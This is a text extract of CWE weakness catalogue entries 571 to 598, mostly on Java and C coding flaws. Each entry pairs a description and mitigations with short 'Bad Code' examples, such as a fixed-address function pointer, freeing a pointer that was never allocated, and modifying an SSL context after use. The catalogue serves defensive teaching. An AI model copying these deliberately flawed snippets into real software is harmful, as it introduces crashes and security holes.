This expression will always evaluate to true meaning the program could be rewritten in a simpler form. The nearby code may be present for debugging purposes, or it may not have been maintained along with the rest of the program. The expression may also be indicative of a bug earlier in the method.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WW	561	Dead Code	**699** **1000**	560
ChildOf		569	Expression Issues	699	567
ChildOf		747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	**734**	730

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	MSC00-C	Compile cleanly at high warning levels

CWE-572: Call to Thread run() instead of start()

Weakness ID: 572 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

The following excerpt from a Java program mistakenly calls run() instead of start().

Bad Code

```
Thread thr = new Thread() {
  public void run() {
    ...
  }
};
thr.run();
```

Potential Mitigations

Use the start() method instead of the run() method.

Other Notes

In most cases a direct call to a Thread object's run() method is a bug. The programmer intended to begin a new thread of control, but accidentally called run() instead of start(), so the run() method will execute in the caller's thread of control.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Base	366	Race Condition within a Thread	**699 1000**	390
ChildOf	Pillar	557	Concurrency Issues	699	558
ChildOf	Pillar	634	Weaknesses that Affect System Processes	**631**	616

Affected Resources

- System Process

CWE-573: Failure to Follow Specification

Weakness ID: 573 *(Weakness Class)* **Status:** Draft

Description

Summary

The software fails to follow the specifications for the implementation language, environment, framework, protocol, or platform.

Extended Description

When leveraging external functionality, such as an API, it is important that the caller does so in accordance with the requirements of the external functionality or else unintended behaviors may result, possibly leaving the system vulnerable to any number of exploits.

Time of Introduction

- Implementation

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Compound	227	Failure to Fulfill API Contract ('API Abuse')	**699 1000**	254
ParentOf	Weakness Variant	*103*	*Struts: Incomplete validate() Method Definition*	***1000***	*121*
ParentOf	Weakness Variant	*104*	*Struts: Form Bean Does Not Extend Validation Class*	***1000***	*122*
ParentOf	Weakness Variant	*243*	*Failure to Change Working Directory in chroot Jail*	*1000*	*264*
ParentOf	Base	*253*	*Incorrect Check of Function Return Value*	***1000***	*278*
ParentOf	Base	*296*	*Improper Following of Chain of Trust for Certificate Validation*	***1000***	*322*
ParentOf	Base	*304*	*Missing Critical Step in Authentication*	***1000***	*330*
ParentOf	Base	*325*	*Missing Required Cryptographic Step*	***1000***	*349*
ParentOf	Weakness Variant	*329*	*Not Using a Random IV with CBC Mode*	*1000*	*354*
ParentOf	Base	*358*	*Improperly Implemented Security Check for Standard*	***1000***	*379*
ParentOf	Base	*475*	*Undefined Behavior for Input to API*	***1000***	*497*
ParentOf	Weakness Variant	*568*	*finalize() Method Without super.finalize()*	*1000*	*567*
ParentOf	Weakness Variant	*577*	*EJB Bad Practices: Use of Sockets*	***699 1000***	*572*
ParentOf	Weakness Variant	*578*	*EJB Bad Practices: Use of Class Loader*	***699 1000***	*573*
ParentOf	Weakness Variant	*579*	*J2EE Bad Practices: Non-serializable Object Stored in Session*	***699 1000***	*573*
ParentOf	Weakness Variant	*580*	*clone() Method Without super.clone()*	*699 1000*	*574*
ParentOf	Base	*581*	*Object Model Violation: Just One of Equals and Hashcode Defined*	***699 1000***	*575*
ParentOf	Base	*628*	*Function Call with Incorrectly Specified Arguments*	***1000***	*612*
ParentOf	Compound	*675*	*Duplicate Operations on Resource*	***1000***	*663*
ParentOf	Base	*694*	*Use of Multiple Resources with Duplicate Identifier*	***699 1000***	*685*
ParentOf	Base	*695*	*Use of Low-Level Functionality*	***699***	*686*

Nature	Type	ID	Name	V	Page
				1000	

CWE-574: EJB Bad Practices: Use of Synchronization Primitives

Weakness ID: 574 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Potential Mitigations

Do not use Synchronization Primitives when writing EJBs.

Other Notes

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use thread synchronization primitives to synchronize execution of multiple instances." A requirement that the specification justifies in the following way: "This rule is required to ensure consistent runtime semantics because while some EJB containers may use a single JVM to execute all enterprise bean's instances, others may distribute the instances across multiple JVMs."

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	695	Use of Low-Level Functionality	**699** **1000**	686

CWE-575: EJB Bad Practices: Use of AWT Swing

Weakness ID: 575 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Potential Mitigations

Do not use AWT/Swing when writing EJBs.

Other Notes

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use the AWT functionality to attempt to output information to a display, or to input information from a keyboard." A requirement that the specification justifies in the following way:

"Most servers do not allow direct interaction between an application program and a keyboard/ display attached to the server system."

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	695	Use of Low-Level Functionality	**699 1000**	686

CWE-576: EJB Bad Practices: Use of Java I/O

Weakness ID: 576 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program violates the Enterprise JavaBeans (EJB) specification by using the java.io package.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Potential Mitigations

Do not use Java I/O when writing EJBs.

Other Notes

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use the java.io package to attempt to access files and directories in the file system." The specification justifies this requirement in the following way: "The file system APIs are not well-suited for business components to access data. Business components should use a resource manager API, such as JDBC, to store data."

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	695	Use of Low-Level Functionality	**699 1000**	686

CWE-577: EJB Bad Practices: Use of Sockets

Weakness ID: 577 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program violates the Enterprise JavaBeans (EJB) specification by using sockets.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Potential Mitigations

Do not use Sockets when writing EJBs.

Other Notes

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast." A requirement that the specification justifies in the following way: "The EJB architecture

allows an enterprise bean instance to be a network socket client, but it does not allow it to be a network server. Allowing the instance to become a network server would conflict with the basic function of the enterprise bean-- to serve the EJB clients."

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	573	Failure to Follow Specification	**699 1000**	570

CWE-578: EJB Bad Practices: Use of Class Loader

Weakness ID: 578 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program violates the Enterprise JavaBeans (EJB) specification by using the class loader.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Potential Mitigations

Do not use the Class Loader when writing EJBs.

Other Notes

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams." A requirement that the specification justifies in the following way: "These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment."

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	573	Failure to Follow Specification	**699 1000**	570

CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session

Weakness ID: 579 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application stores a non-serializable object as an HttpSession attribute, which can hurt reliability.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

The following class adds itself to the session, but because it is not serializable, the session can no longer be replicated.

Bad Code

```
public class DataGlob {
  String globName;
  String globValue;
  public void addToSession(HttpSession session) {
    session.setAttribute("glob", this);
  }
}
```

Potential Mitigations

In order for session replication to work, the values the application stores as attributes in the session must implement the Serializable interface.

Other Notes

A J2EE application can make use of multiple JVMs in order to improve application reliability and performance. In order to make the multiple JVMs appear as a single application to the end user, the J2EE container can replicate an HttpSession object across multiple JVMs so that if one JVM becomes unavailable another can step in and take its place without disrupting the flow of the application.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	573	Failure to Follow Specification	**699** **1000**	570

CWE-580: clone() Method Without super.clone()

Weakness ID: 580 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software contains a clone() method that fails to call super.clone() to obtain the new object.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

The following two classes demonstrate a bug introduced by failing to call super.clone(). Because of the way Kibitzer implements clone(), FancyKibitzer's clone method will return an object of type Kibitzer instead of FancyKibitzer.

Java Example:

Bad Code

```
public class Kibitzer {
  public Object clone() throws CloneNotSupportedException {
    Object returnMe = new Kibitzer();
    ...
  }
}
public class FancyKibitzer extends Kibitzer{
  public Object clone() throws CloneNotSupportedException {
    Object returnMe = super.clone();
    ...
  }
}
```

Potential Mitigations

Call super.clone() within your clone() method, when obtaining a new object.

Other Notes

All implementations of clone() should obtain the new object by calling super.clone(). If a class fails to follow this convention, a subclass's clone() method will return an object of the wrong type.

It is also a good idea to declare your clone method as final. You may not want users inheriting your class to tamper with the clone method. In some cases, you can eliminate the clone method altogether in some cases and use copy constructors.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	485	Insufficient Encapsulation	**699 1000**	508
ChildOf	Weakness	573	Failure to Follow Specification	699 1000	570

CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined

Weakness ID: 581 *(Weakness Base)* **Status:** Draft

Description

Summary

The software fails to maintain equal hashcodes for equal objects.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Failure to uphold this invariant is likely to cause trouble if objects of this class are stored in a collection. If the objects of the class in question are used as a key in a Hashtable or if they are inserted into a Map or Set, it is critical that equal objects have equal hashcodes.

Potential Mitigations

Both Equals() and Hashcode() should be defined.

Other Notes

Java objects are expected to obey a number of invariants related to equality. One of these invariants is that equal objects must have equal hashcodes. In other words, if a.equals(b) == true then a.hashCode() == b.hashCode().

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	573	Failure to Follow Specification	**699 1000**	570

CWE-582: Array Declared Public, Final, and Static

Weakness ID: 582 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified.

Extended Description

Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. As such, in most cases an array declared public, final and static is a bug.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

The following Java Applet code mistakenly declares an array public, final and static.

Bad Code

```
public final class urlTool extends Applet {
  public final static URL[] urls;
  ...
}
```

Potential Mitigations

In most situations the array should be made private.

Background Details

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	490	Mobile Code Issues	**699**	514
ChildOf	WC	668	Exposure of Resource to Wrong Sphere	**1000**	658

CWE-583: finalize() Method Declared Public

Weakness ID: 583 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The program violates secure coding principles for mobile code by declaring a finalize() method public.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

The following Java Applet code mistakenly declares a public finalize() method.

Bad Code

```
public final class urlTool extends Applet {
  public void finalize() {
    ...
  }
  ...
}
```

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are

focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Potential Mitigations

If you are using finalize() as it was designed, there is no reason to declare finalize() with anything other than protected access.

Other Notes

A program should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke one of your finalize() methods because it is declared with public access.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	490	Mobile Code Issues	**699**	514
ChildOf	Wc	668	Exposure of Resource to Wrong Sphere	**1000**	658

CWE-584: Return Inside Finally Block

Weakness ID: 584 *(Weakness Base)* **Status:** Draft

Description

Summary

The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded.

Time of Introduction

- Implementation

Demonstrative Examples

In the following code excerpt, the IllegalArgumentException will never be delivered to the caller. The finally block will cause the exception to be discarded.

Bad Code

```
try {
  ...
  throw IllegalArgumentException();
}
finally {
  return r;
}
```

Potential Mitigations

Do not use a return statement inside the finally block. The finally block should have "cleanup" code.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	389	Error Conditions, Return Values, Status Codes	**699**	414
ChildOf	Wc	705	Incorrect Control Flow Scoping	**1000**	708

CWE-585: Empty Synchronized Block

Weakness ID: 585 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software contains an empty synchronized block.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

Bad Code

```
synchronized(this) { }
```

Potential Mitigations

Attempt to determine what the developer was trying to do, and implement the synchronization accordingly, or remove the empty synchronized block.

Other Notes

Synchronization in Java can be tricky. An empty synchronized block is often a sign that a programmer is wrestling with synchronization but has not yet achieved the result they intend.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		371	State Issues	699	397
ChildOf	Wc	398	Indicator of Poor Code Quality	**699** **1000**	423

CWE-586: Explicit Call to Finalize()

Weakness ID: 586 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software makes an explicit call to the finalize() method from outside the finalizer.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

The following code fragment calls finalize() explicitly:

Bad Code

```
// time to clean up
widget.finalize();
```

Potential Mitigations

Do not make explicit calls to finalize(). Use static analysis tools to spot such instances.

Other Notes

While the Java Language Specification allows an object's finalize() method to be called from outside the finalizer, doing so is usually a bad idea. For example, calling finalize() explicitly means that finalize() will be called more than once: the first time will be the explicit call and the last time will be the call that is made after the object is garbage collected.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	227	Failure to Fulfill API Contract ('API Abuse')	**1000**	254
ChildOf	Wc	398	Indicator of Poor Code Quality	**699**	423
PeerOf	Wc	*675*	*Duplicate Operations on Resource*	*1000*	*663*

CWE-587: Assignment of a Fixed Address to a Pointer

Weakness ID: 587 *(Weakness Base)* **Status:** Draft

Description

Summary

The software sets a pointer to a specific address other than NULL or 0.

Extended Description

If the pointer is set to a specific address, that address will probably not be valid in all environments or platforms.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++
- C#
- Assembly

Demonstrative Examples

C Example: *Bad Code*

```
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.
```

Potential Mitigations

Implementation

Never set a pointer to a fixed address.

Other Notes

Consequence: Integrity: If one executes code at a known location, one might be able to inject code there beforehand.

Consequence: Confidentiality: The data at a known pointer location can be easily read.

Most often, this issue will only result in a crash, but in circumstances where a user can influence the data at which the pointer points to, it may result in code execution. At best, using fixed addresses is not portable.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	344	Use of Invariant Value in Dynamically Changing Context	**1000**	366
ChildOf	C	465	Pointer Issues	**699**	486
ChildOf	C	738	CERT C Secure Coding Section 04 - Integers (INT)	**734**	726
ChildOf	We	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1000	735

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	INT11-C	Take care when converting from pointer to integer or integer to pointer

White Box Definitions

A weakness where code path has:

1. end statement that assigns an address to a pointer
2. start statement that defines the address and the address is a literal value

CWE-588: Attempt to Access Child of a Non-structure Pointer

Weakness ID: 588 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption.

Time of Introduction

- Architecture and Design
- Implementation

Demonstrative Examples

C Example: *Bad Code*

```
struct foo
{
  int i;
}
...
int main(int argc, char **argv)
{
  *foo = (struct foo *)main;
  foo->i = 2;
  return foo->i;
}
```

Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Implementation

Review of type casting operations can identify locations where incompatible types are cast.

Other Notes

Consequence: Data Corruption: Adjacent variables in memory may be corrupted by assignments performed on fields after the cast.

Consequence: Availability: Execution may end due to a memory access error.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		465	Pointer Issues	**699**	486
ChildOf		569	Expression Issues	699	567
ChildOf		704	Incorrect Type Conversion or Cast	**1000**	707
ChildOf		758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1000	735

CWE-589: Call to Non-ubiquitous API

Weakness ID: 589 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.

Extended Description

Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.

Time of Introduction

- Architecture and Design
- Implementation

Potential Mitigations

Implementation

Always test your code on any platform on which it is targeted to run on.

Pre-design through build: Test your code on the newest and oldest platform on which it is targeted to run on.

Other Notes

Consequence: Pre-design through build: It is important to develop a system to test for this set of functions.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Class	227	Failure to Fulfill API Contract ('API Abuse')	**699**	254
ChildOf	Weakness Base	474	Use of Function with Inconsistent Implementations	**1000**	496

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
96	Block Access to Libraries	

CWE-590: Free of Invalid Pointer Not on the Heap

Weakness ID: 590 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The application calls free() on a pointer that does not reference a buffer that was allocated using associated allocation functions such as malloc(), calloc(), or realloc().

Extended Description

If free() is incorrectly used by a user, it may be possible to gain control or process execution through the use of a "write, what, where" primitive.

Time of Introduction

- Implementation

Demonstrative Examples

C Example: *Bad Code*

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
if (**ap != '\0')
if (++ap >= &argv[10])
break;
/.../
free(ap[4]);
```

Potential Mitigations

Implementation

Only free pointers that you have called malloc on previously. This is the recommended solution. Keep track of which pointers point at the beginning of valid chunks and free them only once.

Implementation

Before freeing a pointer, the programmer should make sure that the pointer was previously allocated on the heap and that the memory belongs to the programmer. Freeing an unallocated pointer will cause undefined behavior in the program.

Architecture and Design

The use of a language which provides abstractions for memory allocation and deallocation could be used.

Other Notes

Consequence: Authorization: There is the potential for arbitrary code execution with privileges of the vulnerable program via a "write, what where" primitive.

If pointers to memory which hold user information are freed, a malicious user will be able to write 4 bytes anywhere in memory.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	Weakness Base	123	Write-what-where Condition	1000	154
ChildOf	Category	399	Resource Management Errors	**699**	424
ChildOf	Category	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	**734**	727
ChildOf	Weakness Variant	762	Mismatched Memory Management Routines	**1000**	

Affected Resources

- Memory

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	MEM34-C	Only free memory allocated dynamically

CWE-591: Sensitive Data Storage in Improperly Locked Memory

Weakness ID: 591 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application stores sensitive data in memory that is not locked, or that has been improperly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager.

Time of Introduction

- Implementation

Common Consequences

Confidentiality

Sensitive data that is written to a swap file may be exposed.

Potential Mitigations

Architecture and Design

Identify data that needs to be protected from swapping and choose platform-appropriate protection mechanisms.

Implementation

Check return values to ensure locking operations are successful.

Other Notes

On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	413	Insufficient Resource Locking	**699 1000**	441
ChildOf	C	633	Weaknesses that Affect Memory	**631**	615
ChildOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	**711**	719
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	**734**	727

Affected Resources

- Memory

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
CERT C Secure Coding	MEM06-C		Ensure that sensitive data is not written out to disk

CWE-592: Authentication Bypass Issues

Weakness ID: 592 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not properly perform authentication, allowing it to be bypassed through various methods.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		287	Improper Authentication	**699 1000**	312
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717
ParentOf		*288*	*Authentication Bypass Using an Alternate Path or Channel*	***699 1000***	*314*
ParentOf		*289*	*Authentication Bypass by Alternate Name*	***699 1000***	*315*
ParentOf		*290*	*Authentication Bypass by Spoofing*	***699 1000***	*316*
ParentOf		*294*	*Authentication Bypass by Capture-replay*	***699 1000***	*321*
ParentOf		*302*	*Authentication Bypass by Assumed-Immutable Data*	***699 1000***	*329*
ParentOf		*305*	*Authentication Bypass by Primary Weakness*	***699 1000***	*331*
ParentOf		*593*	*Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created*	***699*** *1000*	*583*
PeerOf		*603*	*Use of Client-Side Authentication*	*1000*	*592*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created

Weakness ID: 593 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software modifies the SSL context after connection creation has begun.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Authentication

No authentication takes place in this process, bypassing an assumed protection of encryption.

Confidentiality

The encrypted communication between a user and a trusted host may be subject to a "man in the middle" sniffing attack.

Demonstrative Examples

C Example: *Bad Code*

```
#define CERT "secret.pem"
#define CERT2 "secret2.pem"
```

```
int main(){
  SSL_CTX *ctx;
  SSL *ssl;
  init_OpenSSL();
  seed_prng();
  ctx = SSL_CTX_new(SSLv23_method());
  if (SSL_CTX_use_certificate_chain_file(ctx, CERT) != 1)
    int_error("Error loading certificate from file");
  if (SSL_CTX_use_PrivateKey_file(ctx, CERT, SSL_FILETYPE_PEM) != 1)
    int_error("Error loading private key from file");
  if (!(ssl = SSL_new(ctx)))
    int_error("Error creating an SSL context");
  if ( SSL_CTX_set_default_passwd_cb(ctx, "new default password" != 1))
    int_error("Doing something which is dangerous to do anyways");
  if (!(ssl2 = SSL_new(ctx)))
    int_error("Error creating an SSL context");
}
```

Potential Mitigations

Architecture and Design

Use a language which provides a cryptography framework at a higher level of abstraction.

Implementation

Most SSL_CTX functions have SSL counterparts that act on SSL-type objects.

Other Notes

Applications should set up an SSL_CTX completely, before creating SSL objects from it.If one did modify the SSL_CTX object after creating objects from it, there is the possibility that older SSL objects created from that context could all be affected by that change.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	592	Authentication Bypass Issues	**699** 1000	582
ChildOf	We	666	Operation on Resource in Wrong Phase of Lifetime	**1000**	656

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
94	Man in the Middle Attack	

CWE-594: J2EE Framework: Saving Unserializable Objects to Disk

Weakness ID: 594 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Integrity

Data represented by unserializable objects can be corrupted.

Availability

Non-serializability of objects can lead to system crash.

Potential Mitigations

Design through Implementation: All objects that become part of session and application scope must implement the java.io.Serializable interface to ensure serializability of containing objects.

Other Notes

In heavy load conditions, most J2EE application frameworks flush objects to disk to manage memory requirements of incoming requests. For example, session scoped objects, and even application scoped objects, are written to disk when required. While these application frameworks do the real work of writing objects to disk, they do not enforce that those objects be serializable, thus leaving your web application vulnerable to serialization failure induced crashes. An attacker may be able to mount a denial of service attack by sending enough requests to the server to force the web application to save objects to disk.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	485	Insufficient Encapsulation	**699** **1000**	508

CWE-595: Incorrect Syntactic Object Comparison

Weakness ID: 595 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The program compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.

Time of Introduction

- Implementation

Demonstrative Examples

In the following example, two Truck objects are compared using the == operator (incorrect) as opposed to calling the equals() method (correct).

Java Example: *Bad Code*

```
public boolean compareTrucks(Truck a, Truck b) {
  return a == b;
}
```

Potential Mitigations

Use the equals() method to compare objects instead of the == operator. If using ==, it is important for performance reasons that your objects are created by a static factory, not by a constructor.

Other Notes

This problem can cause unexpected application behavior. Comparing objects using == usually produces deceptive results, since the == operator compares object references rather than values. To use == on a string, the programmer has to make sure that these objects are unique in the program, that is, that they don't have the equals method defined or have a static factory that produces unique objects.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	699	199
ChildOf	C	569	Expression Issues	**699**	567
ChildOf	Wc	697	Insufficient Comparison	**1000**	687
ParentOf	Ww	*597*	*Use of Wrong Operator in String Comparison*	***699*** ***1000***	*586*

CWE-596: Incorrect Semantic Object Comparison

Weakness ID: 596 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not correctly compare two objects based on their conceptual content.

Time of Introduction

- Implementation

Detection Factors

Requires domain-specific knowledge to determine if the comparison is incorrect.

Demonstrative Examples

For example, let's say you have two truck objects that you want to compare for equality. Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year. A Semantic Incorrect Object Comparison would occur if only two of the three factors were checked for equality. So if only make and model are compared and the year is ignored, then you have an incorrect object comparison.

Java Example:

Bad Code

```
public class Truck {
  private String make;
  private String model;
  private int year;
  public boolean equals(Object o) {
    if (o == null) return false;
    if (o == this) return true;
    if (!(o instanceof Truck)) return false;
    Truck t = (Truck) o;
    return (this.make.equals(t.getMake()) && this.model.equals(t.getModel()));
  }
}
```

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	699	199
ChildOf	C	569	Expression Issues	**699**	567
ChildOf	Wc	697	Insufficient Comparison	**1000**	687

CWE-597: Use of Wrong Operator in String Comparison

Weakness ID: 597 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product uses the wrong operator when comparing a string, such as using "==" when the equals() method should be used instead.

Extended Description

Using == or != to compare two strings for equality actually compares two objects for equality, not their values. Chances are good that the two references will never be equal.

Time of Introduction

- Implementation

Demonstrative Examples

The following branch will never be taken.

Bad Code

```
if (args[0] == STRING_CONSTANT) {
  logger.info("miracle");
}
```

Potential Mitigations

Implementation

Use equals() to compare strings.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	133	String Errors	699	164
ChildOf	Wa	480	Use of Incorrect Operator	699 1000	503

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Base	595	Comparison of Object References Instead of Object Contents	**699 1000**	585

CWE-598: Information Leak Through Query Strings in GET Request

Weakness ID: 598 *(Weakness Variant)* **Status:** Draft

Description

Summary

The web application uses the GET method to process requests that contain sensitive information, which can expose that information through the browser's history, Referers, web logs, and other sources.

Time of Introduction

- Architecture and Design
- Implementation

Potential Mitigations

When sensitive information is sent, use of the POST method is recommended (e.g. registration form).

Other Notes

At a minimum, attackers can garner information from query strings that can be utilized in escalating their method of attack, such as information about the internal workings of the application or database column names. Successful exploitation of query string parameter vulnerabilities could lead to an attacker impersonating a legitimate user, obtaining proprietary data, or simply executing actions not intended by the application developers.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Base	200	Information Leak (Information Disclosure)	**699 1000**	230
ChildOf	Category	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	**711**	719

